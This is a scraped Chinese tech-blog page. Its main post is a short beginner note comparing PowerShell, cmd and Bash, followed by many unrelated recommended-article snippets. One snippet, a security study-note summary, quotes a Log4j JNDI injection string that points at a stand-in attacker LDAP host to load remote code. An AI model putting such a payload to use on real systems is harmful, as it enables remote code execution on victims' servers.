墨衍会员
·
AI 创作全网分发
墨衍智能分发
本文由作者通过墨衍一键同步至各平台
1分发平台
400+累计阅读
463平均单平台
已同步平台
优快云
微信公众号
微博
知乎
掘金
百家号
博客园
抖音
小红书
你的文章也可以这样分发
墨衍会员 ¥399起/年，写一次发全网
我也要
1.善用界面搜索：ctrl+F
2.在设备管理器中查看自己电脑的硬件配置
3.powershell cmd和bash的比较
首先，三者都是Shell。『Shell / 壳层』：命令行界面的解释器，用户和系统内核的沟通桥梁。分为：①命令行界面（CLI） ；② 图形用户界面（GUI）。区别如下：
powershell是一个可以用来操作.NET框架的工具，是最新的Microsoft Shell，将旧的CMD功能与具有内置系统管理功能的scripting/cmdlet指令集集合在一起。系统管理员通过使用Powershell 自动化管理任务节省大量时间，能够通过完全访问CO 和WMI在远程和本地Windows系统上执行任务。
cmd是Windows命令提示符，是Microsoft DOS操作系统最原始的shell。一直到Windows 10内部版本14791(该版本的Microsoft还是将Powershell作为默认选项)以前，CMD才是默认的shell程序。
Bash Shell 是由GNU项目开发的Unix shell和命令语言。可以在UNIX操作系统的任何版本上运行。
【信息科学与工程学】【通信工程】第一百九十一篇 路由器体系结构03
编号类型领域问题详细的数学分析（逐步推理）参数列表（表达式 / 数值范围 / 边界 / 测量）关联知识839DCI演进 · 收敛DCI 2030 年三大技术收敛方向步骤1：方向一：IPoDWDM 成为绝对主流（Omdia 2027 59% → 2030 80%+），OTN 退化为 OLS 纯光层。步骤2：方向二：800ZR+ 取代 400ZR 成为主力速率，PCS 使 800G 达 600–1000km。步骤3：方向三：AI 集群 DCI 催生 1.6T/3.2T 超短距（<10km）相干模块（OSFP-X
Shell命令查看主机硬件信息
一、window查看物理硬件信息 1、查看磁盘信息： wmic diskdrive 可以看出来牌子和大小. Wmic logicaldisk 可以看到有几个盘，每一个盘的文件系统和剩余空间 wmic volume 每个盘的剩余空间量，其实上一个命令也可以查看的 fsutil volume diskfree c: 这个命令查看每一个卷的容量信息是很方便 2、CPU信息 wmic cpu 显示的有位宽，最大始终频率， 生产厂商，二级缓存等信息等 3、内存信息查看 wmic memorychip 显
第28篇 sw放样特征矩形-圆-矩形学习笔记
本例演示三轮廓放样：先画中心对齐的100×100矩形草图，再在偏移100的基准面上绘制圆，最后在另一基准面画矩形。通过依次选择三个轮廓并正确设置连接点，实现矩形→圆→矩形的平滑过渡，注意连接点位置避免扭曲。
2026.11.7 AI学习总结
110 你 14b 模型权重本身就要约 8.8GB，默认上下文（Ollama 在 16GB 卡上可能给到 4K）加上 KV Cache 就爆了。比如设成 2048，你输入了 500 个 token 的问题，那模型最多还能生成 1500 个 token 的回答。超出部分会被截断，模型就"看不见"了。4 如果 14b 跑起来后发现它"忘事"，再逐步往上加，比如先试 4096。，根据注意力头的重要性动态分配缓存资源，重要的留显存，不重要的下沉。，单位是 token，表示模型这一次推理最多能同时"看到"多少内容。
关于Arduino中的常用函数
一、I/O函数 二、时间函数 三、数学函数 abs 返回其参数的无符号值 【abs（12）返回12，abs（-12）也返回12】 constrain 限制一个数字以阻止它超出范围。第一个参数是被限制的数字，第二个参数是范围区间的开始，第三个参数是允许的数字范围区间的结尾。 【constrain（8,1，10）返回8，constrain（11,1，10）返回10，constrain（0,1，10）返回1】 map 将一个范围内的数字映射到另一个范围。第一个参数是要映射到数字，第二个和第三个参数是from范围（
RAID 0/1/5/10 性能实测：4块 SATA SSD 组阵列，顺序读写速度对比
本文通过实测对比了RAID 0/1/5/10在4块SATA SSD上的顺序读写性能，详细展示了不同RAID级别的配置方法、理论性能与实际测试数据。测试结果显示，RAID 0在顺序读写速度上表现最佳，而RAID 10则在性能与数据安全之间取得了平衡，适合数据库服务器等关键应用场景。
Flink 学习日志 03：自定义一个SourceFunction，完成对Redis中数据的读取
本文介绍了在Flink中自定义SourceFunction读取Redis数据的完整流程：通过Jedis客户端连接WSL2中的Redis服务，编写RedisSource实现循环读取所有Key-value并逐条输出，结合Thread.sleep()实现每秒一条的流式效果。关键步骤包括环境准备、添加Jedis依赖、配置IDEA运行时加载provided依赖，并注意生产环境中应避免使用阻塞的keys *，改用scan命令。最终实现动态读取、实时打印，验证了Flink与Redis的数据集成能力。
AS7341光谱传感器实战：如何用STM32F103精准测量环境色温（附完整代码）
本文详细介绍了如何使用STM32F103驱动AS7341光谱传感器实现环境色温的精准测量。从硬件连接到驱动开发，再到色温计算算法的实现，提供了完整的代码示例和优化建议，帮助开发者在智能照明、农业监测等领域快速应用AS7341进行高精度色温检测。
Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入
本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行，攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制，诱导目标向恶意LDAP服务器请求并加载远程类，最终执行命令（如弹出计算器）。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性，当用户输入可控的{"@type":"com.xiaodi.Run"}时，自动加载并实例化恶
在 Ansys CFX Pre 中配置 RGP 表的分步指南
掌握在 Ansys CFX Pre 中设置 RGP 表的技巧，以优化仿真精度和效率。
使用DCA1000和EVM板进行数据采集
目录 1. 准备工作 1.1 硬件 1.2 软件 2. 驱动安装 3. 设置静态IP地址 4. 采集数据 5. 采集的数据文件的格式 6. 数据采集存储的数据流 参考资料 1. 准备工作 1.1 硬件 EVM板，电源线（5V，>2.5A），USB线 DCA1000，电源线（5V，>2A），USB线，网线，60pin Samtec cable 1.2 软件 mmWave Studio Matlab Runtime Engine v8.5.1 将DCA1000和EVM板
Java 多态 学习笔记
多态是面向对象编程的重要特性，指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”，结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展，如用Person p = new Student();统一处理各类人员注册，无需修改调用逻辑。但多态无法直接调用子类特有方法，需通过instanceof判断并强制转换。编译时看左边（类型），运行时看右边（实际对象），实现解耦与维护便利。
AI算力瓶颈与系统优化实战指南
AI算力瓶颈已成为制约人工智能发展的关键因素，特别是在处理transformer类模型时，传统的冯·诺依曼架构面临严重的'内存墙'问题。通过硬件加速、系统优化和算法改进的三级策略，可以有效提升资源利用率。在嵌入式AI领域，结合量化、剪枝和专用指令集扩展等技术，能在资源受限设备上实现高效推理。这些优化方法在自动驾驶、工业视觉等场景中已展现出显著价值，推动AI应用从云端向边缘迁移。随着AI算力需求的持续增长，掌握系统优化技能将成为开发者的核心竞争力。
天线模块布局走线学习
天线通常与射频收发芯片、匹配网络、滤波器以及射频连接器等共同组成完整的无线通信链路;在进行原理图设计时，器件封装应当尽量小，倾向于0402、0201等，可以减小由封装带来的寄生参数影响。
【四足机器人项目实战】四足机器人支撑腿反作用力规划之VMC解耦控制方法
系列文章目录 提示：这里可以添加系列文章的所有文章的目录，目录需要自己手动添加 TODO:写完再整理 文章目录系列文章目录前言一、基于模型的工作空间控制框图二、原理三、缺点 前言 认知有限，望大家多多包涵，有什么问题也希望能够与大家多交流，共同成长！ 本文先对未简化的动力学模型规划反作用力+运动学模型雅可比+虚功原理规划关节扭矩方法做个简单的介绍，具体内容后续再更，其他模块可以参考去我其他文章 提示：以下是本篇文章正文内容 一、基于模型的工作空间控制框图 . . 二、原理 基于机器人的动力学模
MATLAB代码转到FPGA代码
添加完文件之后，需要设置输入的数据类型，设置完之后点击Workflow Advisor。MATLAB文件包含一个功能实现文件和测试文件。对应FPGA中的功能文件和测试文件。然后，将功能文件和测试文件添加到相应位置。然后选择APP中的HDL Coder代码。首先需要编写好MATLAB文件。点击链接，就可以查看你看到的代码。可以自己生成代码的语言类型。
CMake学习
CMake如何编译成库？1. 为什么要有库？库就是预先写好，编译好的代码集合。存在的意义，1）避免重复造轮子和重复编译，库是，你的代码在编译时直接链接它，不需要把库的源码重新编译一遍，大大节省了编译时间。；2）：编译成库让别人可以直接调用我的函数，但看不到cpp源码，看不到里面的逻辑。3）：大项目可以拆分给不同的团队开发不同的库，最后拼在一起。静态库：就是在程序编译和链接阶段，把库里被用到的代码部分，像打包裹一样，直接复制粘贴到最终的可执行文件（如.exe或 Linux 下的无后缀文件）里面。
深度学习工具包 DeepLearningToolbox
深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[](https://bitdeli.com/free "Bitdeli Badge")
焦点仿真学习记录：water_only 基线怎么搭、怎么验、怎么调
在纯水介质中搭建5阵元几何聚焦仿真，通过合理设置网格、介质参数、源延时与传感器区域，实现焦点理论位置的精准对齐。基于声速计算延时，验证焦点位置误差小于0.1 mm，峰值压力达1.2×10⁵ Pa，确认基线仿真正确。该water_only模型为后续颅骨影响分析提供可靠参照，确保聚焦性能评估可量化。
jdk-8u144-linux-x64.tar.gz.
该资源为搭建Linux系统Java环境用，资源的后缀为tar.gz格式的压缩包
Data-Structures-and-Algorithm-Analysis-in-Java.pdf
作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...
Linux网络学习【深入理解多路转接epoll】
本文围绕 Linux 多路转接 epoll 展开，以“设计动机—核心机制—触发模式—代码实践”为主线，对比 select、poll 的监听管理与就绪检查方式，解析关注集合、就绪列表及核心接口，重点讲解水平触发与边缘触发的行为差异，以及边缘触发配合非阻塞读写的处理要点。结合多连接服务器实践，梳理事件注册、连接接收、部分收发、可写事件按需监听及断开清理流程，厘清就绪通知与操作完成的区别，分析常见错误与性能影响因素，帮助读者建立从事件循环到连接管理的完整认识，为高并发服务器与事件驱动框架开发打下基础。
霍尼韦尔SoftMaster使用说明
霍尼韦尔SoftMaster使用说明
正则表达式学习笔记 02：基础语法
正则表达式是描述字符匹配规则的迷你语言，由普通字符和元字符组成。普通字符直接匹配自身，而元字符如.、*、+、^、$等具有特殊含义，用于控制匹配模式。常见功能包括任意字符匹配、字符类、预定义类（如\d）、量词、位置锚点、分组与捕获、环视断言及反向引用。需注意，若要匹配元字符本身，必须使用转义符\。例如，\.可匹配字面点号。
[LangChain] 学习笔记（08）：工具调用底层闭环与第三方搜索（Tavily）实战
大模型通过工具调用实现外部能力扩展：模型返回tool_calls，开发者本地执行后将结果以ToolMessage形式追加至对话历史，再由模型生成最终回答。关键闭环在于状态追加，否则会陷入死循环。借助LangChain生态如TavilySearch，可轻松接入联网搜索，突破知识时效限制。注意避免invalid_tool_call_id错误，确保消息历史完整；网络超时需检查代理或环境配置。简单问题模型自主解答属正常行为。
ES6：Iterator与Generator函数学习及Generator函数和async实现异步编程理解
几个概念：可迭代对象是指具有迭代器接口的对象： 实现类数组使用 for of 循环 对象无法使用数组的迭代器。 generator 函数类似遍历器函数，返回一个迭代器对象； 该对象调用 方法时，会把 后面的表达式作为值 ，并执行当前指针与下一步指针之间的程序。 generator 实现迭代器函数 后面跟的内容为 得到的 值。流程：循环 会调用 generator 函数，返回一个 iterator 对象， 方法由 generator 内部的 决定。 Gene
【学习笔记】51单片机 按键控制LED流水灯模式&定时器时钟
在下面去给他写中断子函数，他会在main中去到Timer0这个子函数当中去，再接着跳转回来。再TMOD上，这个是不可位寻址的，必须八位同时复制，如果同时使用定时器1和定时器0，先配置定时器1再去配置定时器0会把 之前前定时器1的更新掉，我们去给他让他只去执行一部分。现在我们要去做中断了，改正之后的是这样，但其实是还有缺陷在的。寄存器是连接软硬件的媒介，我们现在写一个关于这个的代码。这样得到的和我们预期的一样。TMOD的寄存模式，M1和M0是来决定工作模式的。我们要看的是关于以下的寄存器。
echarts学习手记
本文介绍ECharts的引入与基本使用：通过npm安装并按需引入核心模块、图表类型及组件，注册后初始化图表实例。结合resize事件实现响应式布局，通过dispose()销毁实例避免内存泄漏，并支持自定义主题与seriesLayoutBy配置调整数据映射方式，提升图表灵活性与性能。
Day33 XD安全学习笔记--JavaEE应用&SQL 预编译&Filter过滤器&Listener监听器&访问控制
本文介绍了SQL预编译与Filter过滤器、Listener监听器的应用。SQL预编译有效防止注入攻击，相比拼接写法更安全。Filter用于拦截请求与响应，实现权限控制、敏感词过滤等功能，具备初始化、过滤、销毁生命周期；如XssFilter拦截非法参数，AdminFilter通过Cookie验证权限。Listener监听域对象的创建、销毁及属性变化，如Session的创建与销毁，实现系统状态管理。三者协同提升Web应用的安全性与可维护性。
Git与GitHub系统学习｜本地Git工作模型：终端与进程、CWD、HEAD/Index/工作树及Git对象
从GitHub网页端走向本地Git，讲清终端、Shell、进程与工作目录，解释仓库发现、HEAD、Index和工作树，分析Commit/Tree/Blob引用、文件树与暂存机制，区分实测与教学示例。
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
863
扫一扫
